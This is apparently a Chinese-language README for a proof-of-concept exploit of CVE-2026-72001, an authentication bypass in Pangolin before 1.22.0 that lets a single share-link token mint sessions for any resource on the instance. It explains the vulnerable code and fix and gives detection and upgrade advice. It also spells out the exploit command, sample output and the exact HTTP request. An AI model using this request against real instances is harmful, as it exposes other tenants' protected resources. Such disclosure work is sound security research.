CVE-2026-72001 的 PoC — Pangolin < 1.22.0 通过分享链接访问令牌端点实现的跨组织资源认证绕过(CWE-639,CVSS 8.1)。
针对 CVE-2026-72001 的概念验证,这是 Pangolin(< 1.22.0)中的一个对象级授权失效漏洞,允许持有一个资源分享链接的攻击者为**实例上的任何其他资源(包括属于不同组织的资源)**铸造有效的资源会话,从而绕过所有已配置的认证方式(SSO、资源密码、PIN、邮箱白名单、请求头认证)。
| CVE | CVE-2026-72001 |
| 产品 | fosrl/pangolin |
| 受影响版本 | < 1.22.0 |
| 修复版本 | 1.22.0 |
| 类别 | 通过用户可控密钥的授权绕过 (CWE-639) |
| CVSS 3.1 | 8.1 (HIGH) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| 认证要求 | 攻击者仅需任意资源的一个有效分享链接令牌 |
| 结论 | 确认存在漏洞(端到端验证,badger 强制执行 valid:true) |
分享链接认证端点 POST /api/v1/auth/resource/:resourceId/access-token(server/routers/resource/authWithAccessToken.ts)有两个分支。当请求携带 accessTokenId 时,它会验证令牌,但忘记将该检查与 URL 中的资源绑定:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken 仅在接收到 resourceId 时才强制执行资源绑定:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
由于处理程序从未转发 resourceId,该防护被跳过:令牌针对其自身的资源进行验证,而会话却是为 URL 中指定的资源铸造的。随后会为受害资源创建会话(badger 请求令牌):
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
该路由位于未认证路由器上(unauthenticated.use("/auth", authRouter)),并且没有速率限制(不同于同类的密码/pincode/白名单认证路由)。CSRF 中间件仅检查一个静态常量请求头(X-CSRF-Token: x-csrf-protection)。
修复(1.22.0): 处理程序将 resourceId 转发给 verifyResourceAccessToken,因此不匹配防护会触发,跨资源请求返回 401 "Resource ID does not match"。
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
单个存在漏洞的请求为:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access 还会在 badger 强制执行端点(/badger/exchange-session → /badger/verify-session)——即 Traefik 所查询的同一路径——交换返回的请求令牌,以证明真实访问权限,而不仅仅是返回一个字符串。在实际部署中,攻击者只需将请求令牌提交给资源,Traefik/badger 会自动交换它。
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
完整演练以及漏洞版本与修复版本的边界,请参见 lab/setup.sh、ANALYSIS.md 和 evidence/。
在任何多租户/多组织 Pangolin 实例上(自托管多个组织、MSP 或托管部署),能够获取单个分享链接的行为者——无论是合法获得的、泄露的,还是在自己控制的任意资源上自行签发的——都可以读取并操作任何其他租户的受保护资源。实例上每个受保护资源的机密性和完整性均受到损害(CVSS C:H/I:H)。
升级到 Pangolin ≥ 1.22.0。该修复将访问令牌检查绑定到 URL 中的资源 id。没有任何配置变通方法能完全缓解 < 1.22.0 的问题;请限制资源分享链接的签发,并在升级后轮换现有的访问令牌。
查找 POST /api/v1/auth/resource/<id>/access-token,其中提交的 accessTokenId 所属资源的 id ≠ <id>(跨资源令牌使用),以及高频到达的访问令牌认证请求(该路由未限流)。logAccessAudit 条目将显示一个 accessToken 操作,其令牌所属组织与资源所属组织不同。
由 BiiTts(Caio Fabrício)发现/分析并提供 PoC。漏洞由 VulnCheck 报告;公告:https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint。